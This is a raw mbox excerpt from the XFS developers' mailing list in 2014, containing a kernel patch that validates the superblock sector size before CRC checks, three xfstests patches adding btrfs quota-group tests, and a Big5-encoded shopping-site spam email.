XFS_BTREE_MAXLEVELS, add checks > into xfs_alloc_compute_maxlevels(), xfs_ialloc_compute_maxlevels() > and xfs_bmap_compute_maxlevels() to constrain the limits in the > struct xfs_mount and validate the on-disk values based on the > values in the struct xfs_mount. Thanks, I had forgotten those existed - that looks perfect. >> I was going to put that limit into xfs_agi_verify, but realized >> that I wasn't sure if we could actually exceed that depth in >> normal operations. >> >> (cue dchinner working out that 9 levels is 59 bazillion jillion >> items, and will never be hit?) > > Yep, done that ;) I knew you'd enjoy it. ;) -Eric > Cheers, > > Dave. > From sandeen@redhat.com Wed Feb 12 20:55:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F2D027F58 for ; Wed, 12 Feb 2014 20:55:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DED61304062 for ; Wed, 12 Feb 2014 18:55:25 -0800 (PST) X-ASG-Debug-ID: 1392260124-04cbb00c2b3296c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id GelykuSdQtcVJrCt for ; Wed, 12 Feb 2014 18:55:25 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1D2tOv9010067 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 12 Feb 2014 21:55:24 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1D2tNt1026318 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Wed, 12 Feb 2014 21:55:23 -0500 Message-ID: <52FC341B.6050606@redhat.com> Date: Wed, 12 Feb 2014 20:55:23 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: verify sb_sectorsize before using it for crc calcs X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: verify sb_sectorsize before using it for crc calcs Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392260124 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_sb_read_verify() uses the sector size in the superblock as input to the CRC calculations - but if the value is corrupted, we can have a catastrophic failure - a value of 0 for length in: length - (cksum_offset + sizeof(__be32)) passes a very large (unsigned) value to crc32c, which will cause an oops, today. (Hardening crc32c is above my pay grade). Doing a quick validation of sectorsize before the crc calculation solves this problem. Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 6d81ece..4b62ad2 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -599,9 +600,19 @@ xfs_sb_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); + __uint16_t sectsize = be16_to_cpu(dsb->sb_sectsize); int error; /* + * We use the sb sectorsize in crc calculations before general sb + * validation, so check that value first. + */ + if (sectsize < XFS_MIN_SECTORSIZE || sectsize > XFS_MAX_SECTORSIZE) { + error = EFSCORRUPTED; + goto out_error; + } + + /* * open code the version check to avoid needing to convert the entire * superblock from disk order just to check the version number */ @@ -610,8 +621,7 @@ xfs_sb_read_verify( XFS_SB_VERSION_5) || dsb->sb_crc != 0)) { - if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), - XFS_SB_CRC_OFF)) { + if (!xfs_verify_cksum(bp->b_addr, sectsize, XFS_SB_CRC_OFF)) { /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { From wangsl.fnst@cn.fujitsu.com Wed Feb 12 21:20:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6EE747F58 for ; Wed, 12 Feb 2014 21:20:53 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 46CB2304062 for ; Wed, 12 Feb 2014 19:20:53 -0800 (PST) X-ASG-Debug-ID: 1392261639-04cb6c06cf16a70001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id egREgbJ3KDemAyve for ; Wed, 12 Feb 2014 19:20:45 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,836,1384272000"; d="scan'208";a="9517902" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 13 Feb 2014 11:16:48 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s1D3KXrN002824; Thu, 13 Feb 2014 11:20:33 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014021311183434-1798854 ; Thu, 13 Feb 2014 11:18:34 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH 1/3] xfstests/btrfs: add qgroup rescan stress test Date: Thu, 13 Feb 2014 11:18:57 +0800 X-ASG-Orig-Subj: [PATCH 1/3] xfstests/btrfs: add qgroup rescan stress test Message-Id: <1392261539-28903-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/13 11:18:34, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/13 11:18:35, Serialize complete at 2014/02/13 11:18:35 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1392261643 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Test flow is to run fsstress after triggering quota rescan. the ruler is simple, we just remove all files and directories, sync filesystem and see if qgroup's ref and excl are nodesize. Signed-off-by: Wang Shilong --- tests/btrfs/038 | 75 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/038.out | 3 +++ tests/btrfs/group | 1 + 3 files changed, 79 insertions(+) create mode 100644 tests/btrfs/038 create mode 100644 tests/btrfs/038.out diff --git a/tests/btrfs/038 b/tests/btrfs/038 new file mode 100644 index 0000000..f6bd872 --- /dev/null +++ b/tests/btrfs/038 @@ -0,0 +1,75 @@ +#! /bin/bash +# FSQA Test No. btrfs/038 +# +# Quota rescan stress test, we run fsstress and quota rescan concurrently +# +#----------------------------------------------------------------------- +# Copyright (C) 2014 Fujitsu. All rights reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 + +_cleanup() +{ + rm -f $tmp.* +} +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_need_to_be_root +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +run_check _scratch_mkfs "-b 2g --nodesize 4096" +run_check _scratch_mount + +# -w ensures that the only ops are ones which cause write I/O +run_check $FSSTRESS_PROG -d $SCRATCH_MNT -w -p 5 -n 1000 \ + $FSSTRESS_AVOID >&/dev/null + +run_check $BTRFS_UTIL_PROG subvolume snapshot $SCRATCH_MNT \ + $SCRATCH_MNT/snap1 >>$seqres.full 2>&1 + +run_check $FSSTRESS_PROG -d $SCRATCH_MNT/snap1 -w -p 5 -n 1000 \ + $FSSTRESS_AVOID >&/dev/null + +run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT +run_check $BTRFS_UTIL_PROG quota rescan -w $SCRATCH_MNT + +#ignore removing subvolume errors +rm -rf $SCRATCH_MNT/* >& /dev/null +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT >> $seqres.full 2>&1 + +$BTRFS_UTIL_PROG qgroup show $SCRATCH_MNT | $SED_PROG -n '/[0-9]/p' \ + | $AWK_PROG '{print $1" "$2" "$3 }' + +status=0 +exit diff --git a/tests/btrfs/038.out b/tests/btrfs/038.out new file mode 100644 index 0000000..1c24c55 --- /dev/null +++ b/tests/btrfs/038.out @@ -0,0 +1,3 @@ +QA output created by 038 +0/5 4096 4096 +0/258 4096 4096 diff --git a/tests/btrfs/group b/tests/btrfs/group index f9f062f..7ac9f0a 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -37,3 +37,4 @@ 032 auto quick 033 auto quick 034 auto quick +038 auto quick -- 1.8.3.1 From wangsl.fnst@cn.fujitsu.com Wed Feb 12 21:20:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F0D3A7F58 for ; Wed, 12 Feb 2014 21:20:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6E7D0AC006 for ; Wed, 12 Feb 2014 19:20:54 -0800 (PST) X-ASG-Debug-ID: 1392261639-04cb6c06cf16a70002-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id w50v95j5qR29oaCY for ; Wed, 12 Feb 2014 19:20:51 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,836,1384272000"; d="scan'208";a="9517903" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 13 Feb 2014 11:16:49 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s1D3Kbeb002826; Thu, 13 Feb 2014 11:20:37 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014021311183435-1798856 ; Thu, 13 Feb 2014 11:18:34 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH 3/3] xfstests/btrfs: add stress test for btrfs quota operations Date: Thu, 13 Feb 2014 11:18:59 +0800 X-ASG-Orig-Subj: [PATCH 3/3] xfstests/btrfs: add stress test for btrfs quota operations Message-Id: <1392261539-28903-3-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 In-Reply-To: <1392261539-28903-1-git-send-email-wangsl.fnst@cn.fujitsu.com> References: <1392261539-28903-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/13 11:18:34, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/13 11:18:39, Serialize complete at 2014/02/13 11:18:39 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1392261650 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- So this is a stress test for btrfs quota operations. it can also detect the following commit fixed problem: 4082bd3d73(Btrfs: fix oops when writting dirty qgroups to disk) Signed-off-by: Wang Shilong --- tests/btrfs/040 | 75 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/040.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 78 insertions(+) create mode 100644 tests/btrfs/040 create mode 100644 tests/btrfs/040.out diff --git a/tests/btrfs/040 b/tests/btrfs/040 new file mode 100644 index 0000000..d991304 --- /dev/null +++ b/tests/btrfs/040 @@ -0,0 +1,75 @@ +#! /bin/bash +# FS QA Test No. 040 +# +# stresstest for btrfs quota operations. we run fsstress and quota +# operations concurrently. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +_quota_enabled_background() +{ + i=1 + while [ $i -le 5 ] + do + run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT + run_check $BTRFS_UTIL_PROG quota disable $SCRATCH_MNT + i=$(($i+1)) + sleep 1 + done +} + +MKFS_SIZE=$((2 * 1024 * 1024 * 1024)) +run_check _scratch_mkfs_sized $MKFS_SIZE +run_check _scratch_mount + +_quota_enabled_background & +run_check $FSSTRESS_PROG -d $SCRATCH_MNT -w -p 5 -n 1000 \ + $FSSTRESS_AVOID + +run_check _scratch_unmount +_check_scratch_fs + +# success, all done +echo "Silence is golden" +status=0 +exit diff --git a/tests/btrfs/040.out b/tests/btrfs/040.out new file mode 100644 index 0000000..9e3d4d9 --- /dev/null +++ b/tests/btrfs/040.out @@ -0,0 +1,2 @@ +QA output created by 040 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index ba6b70c..3dc82e5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -39,3 +39,4 @@ 034 auto quick 038 auto quick 039 auto quick +040 auto quick -- 1.8.3.1 From wangsl.fnst@cn.fujitsu.com Wed Feb 12 21:20:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 93FC07F58 for ; Wed, 12 Feb 2014 21:20:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6FC13304062 for ; Wed, 12 Feb 2014 19:20:55 -0800 (PST) X-ASG-Debug-ID: 1392261652-04cb6c6de032b970001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id ep5aF3ChayeU990D for ; Wed, 12 Feb 2014 19:20:53 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.95,836,1384272000"; d="scan'208";a="9517904" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 13 Feb 2014 11:16:49 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s1D3KXrO002824; Thu, 13 Feb 2014 11:20:37 +0800 Received: from wangs.fnst.cn.fujitsu.com ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014021311183434-1798855 ; Thu, 13 Feb 2014 11:18:34 +0800 From: Wang Shilong To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH 2/3] xfstests/btrfs: add basic functional test for btrfs quota groups Date: Thu, 13 Feb 2014 11:18:58 +0800 X-ASG-Orig-Subj: [PATCH 2/3] xfstests/btrfs: add basic functional test for btrfs quota groups Message-Id: <1392261539-28903-2-git-send-email-wangsl.fnst@cn.fujitsu.com> X-Mailer: git-send-email 1.8.3.1 In-Reply-To: <1392261539-28903-1-git-send-email-wangsl.fnst@cn.fujitsu.com> References: <1392261539-28903-1-git-send-email-wangsl.fnst@cn.fujitsu.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/13 11:18:34, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/13 11:18:39, Serialize complete at 2014/02/13 11:18:39 X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1392261652 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145069 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Add missing test for btrfs quota groups feature,test idea is to create a parent qgroup that groups some subvolume groups, we try to write some data into every subvolume and then check if we exceed parent qgroup's limit size. Signed-off-by: Wang Shilong --- tests/btrfs/039 | 94 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/039.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 97 insertions(+) create mode 100644 tests/btrfs/039 create mode 100644 tests/btrfs/039.out diff --git a/tests/btrfs/039 b/tests/btrfs/039 new file mode 100644 index 0000000..f8c9bee --- /dev/null +++ b/tests/btrfs/039 @@ -0,0 +1,94 @@ +#! /bin/bash +# FS QA Test No. 039 +# +# Test the basic functionality of Quota groups +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +_supported_fs btrfs +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +run_check _scratch_mkfs +run_check _scratch_mount + +LIMIT_SIZE=$((10 * 1024 * 1024)) + +run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT +run_check $BTRFS_UTIL_PROG qgroup create 1/1 $SCRATCH_MNT +run_check $BTRFS_UTIL_PROG qgroup limit $LIMIT_SIZE 1/1 $SCRATCH_MNT + +for i in `seq 10 -1 1`; do + #add newly created subvolume qgroup to it's parent qgroup + run_check $BTRFS_UTIL_PROG subvolume create -i 1/1 \ + $SCRATCH_MNT/subv_$i +done + +#try to write data into every subvolume +for i in `seq 10 -1 1`; do + dd if=/dev/zero of=$SCRATCH_MNT/subv_$i/data bs=4k \ + >> /dev/null 2>&1 & +done + +wait +$BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT \ + >>$seqres.full 2>&1 + +total_written=0 +#calculate every subvolume's data. +for i in `seq 10 -1 1`; do + #we may fail to create the file, skip this subvolume + test -f $SCRATCH_MNT/subv_$i || continue + + filesize=`du -b $SCRATCH_MNT/subv_$i/data | $AWK_PROG '{print $1}'` + if [ $filesize -gt $LIMIT_SIZE ];then + _fail "subv_$i/data size should be less than $LIMIT_SIZE" + fi + total_written=$(($total_written+$filesize)) +done + +#check if total written exceeds limit +if [ $total_written -gt $LIMIT_SIZE ];then + _fail "total written should be less than $LIMIT_SIZE" +fi + +# success, all done +echo "Silence is golden" +status=0 +exit diff --git a/tests/btrfs/039.out b/tests/btrfs/039.out new file mode 100644 index 0000000..d4e7ef6 --- /dev/null +++ b/tests/btrfs/039.out @@ -0,0 +1,2 @@ +QA output created by 039 +Silence is golden diff --git a/tests/btrfs/group b/tests/btrfs/group index 7ac9f0a..ba6b70c 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -38,3 +38,4 @@ 033 auto quick 034 auto quick 038 auto quick +039 auto quick -- 1.8.3.1 From woogii@woogii-etaiwan.com Thu Feb 13 03:14:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.1 required=5.0 tests=HTML_FONT_FACE_BAD, HTML_FONT_SIZE_LARGE,HTML_IMAGE_RATIO_04,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DFCE97F58 for ; Thu, 13 Feb 2014 03:14:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 41C258F8033 for ; Thu, 13 Feb 2014 01:14:23 -0800 (PST) X-ASG-Debug-ID: 1392282855-04bdf01d0b35010001-NocioJ Received: from woogii-etaiwan.com (220-133-99-111.HINET-IP.hinet.net [220.133.99.111]) by cuda.sgi.com with SMTP id WLPH8slGHHQjH7FU for ; Thu, 13 Feb 2014 01:14:16 -0800 (PST) X-Barracuda-Envelope-From: woogii@woogii-etaiwan.com X-Barracuda-Apparent-Source-IP: 220.133.99.111 Reply-To: "=?BIG5?B?V29vR2lpIKrAuHPByqqrpa2leA==?=" From: "=?BIG5?B?V29vR2lpIKrAuHPByqqrpa2leA==?=" To: Subject: =?BIG5?B?r329TLv5ISEhIDI5OTCkuCC2V8GhOaZUt6WtUKz8vsc4R6Wtqk+5cbijfrZXrciy1aZYoUGp6aX+pXizzKdDu/kgISCwdLPGs8y79KX+oUkh?= Date: Thu, 13 Feb 2014 16:33:45 +0800 X-ASG-Orig-Subj: =?BIG5?B?r329TLv5ISEhIDI5OTCkuCC2V8GhOaZUt6WtUKz8vsc4R6Wtqk+5cbijfrZXrciy1aZYoUGp6aX+pXizzKdDu/kgISCwdLPGs8y79KX+oUkh?= Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_000F_01CF28D6.869DBAB0" X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Unsent: 1 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3508.205 X-Barracuda-Connect: 220-133-99-111.HINET-IP.hinet.net[220.133.99.111] X-Barracuda-Start-Time: 1392282855 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.98 X-Barracuda-Spam-Status: No, SCORE=1.98 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, EXTRA_MPART_TYPE, HTML_FONT_FACE_BAD, HTML_FONT_SIZE_LARGE, HTML_IMAGE_RATIO_04, HTML_MESSAGE, MISSING_MID, PLING_PLING, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145075 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry 0.00 HTML_FONT_SIZE_LARGE BODY: HTML font size is large 0.17 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 HTML_FONT_FACE_BAD BODY: HTML font face is not a word 0.46 PLING_PLING Subject has lots of exclamation marks 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20140213091422.EB084A4217D@cuda.sgi.com> ³o¬O MIME ®æ¦¡ªº Multipart ¶l¥ó¡C ------=_NextPart_000_000F_01CF28D6.869DBAB0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0010_01CF28D6.869DBAB0" ------=_NextPart_001_0010_01CF28D6.869DBAB0 Content-Type: text/plain; charset="big5" Content-Transfer-Encoding: quoted-printable WooGii = =ACO=A5x=C6W=B2=C4=A4@=AD=D3=AA=C0=B8s=C1=CA=AA=AB=BA=F4=AF=B8~=B4N=ACO=AA= =C0=B8s=BA=F4=B8=F4=AAA=B0=C8 + =B9q=A4l=B0=D3=B0=C8 = =A8=FA=AE=F8=ADq=BE\=20 = =AF}=BDL=BB=F9=A1I0.9cm=B6W=C1=A1=BF=FB=B5^=AFN=BA=A3=BE=F7=A8=AD=A1A=A5=AD= =AAO=B9q=B8=A3=BB=B4=C3P=B7=C6=A1I=B6W=AD=C8=B2=D5=A6X=A1A=A9=E9=A5=FE=A5= x=B3=CC=A7C=BB=F9=A1B=B0t=B3=C6=B3=CC=BB=F4=A5=FE=A1I =A5u=ADn 2990=A4=B8(=A6A=B0e120=A4=B8=C1=CA=AA=AB=AA=F7) = =A7Y=A5i=BB=B4=C3P=C1=CA=B1o=A1i=A8~=AAG=AC=EC=A7=DE=A1j=AD=EC=BB=F96990=A4= =B8~=B6W=C1=A19=A6T=B7=A5=ADP=AC=FC=BE=C7=B3=E6=C3=E8 = 8G=A5=AD=AAO=B9q=B8=A3(=AA=FE=A5=F3=A7t=ABO=C5@=B6K=A1A=C4=B2=B1=B1=B5=A7= +otg=BDu+=A6=E6=B0=CA=B9q=B7=BD+=C1=E4=BDL=A5=D6=AEM)=A1C=A8=C9=A6w=A4=DF= =ABO=A9T6=AD=D3=A4=EB=A1I = =C1=CA=AA=AB=B9=C5=A6~=B5=D8=AC=A1=B0=CA=A1A=B3=E6=B5=A7=AE=F8=B6O=BA=A1=A4= d=B3=CC=B0=AA=B0e $100 =C1=CA=AA=AB=AA=F7 !=20 =20 =A1@=A1=BD 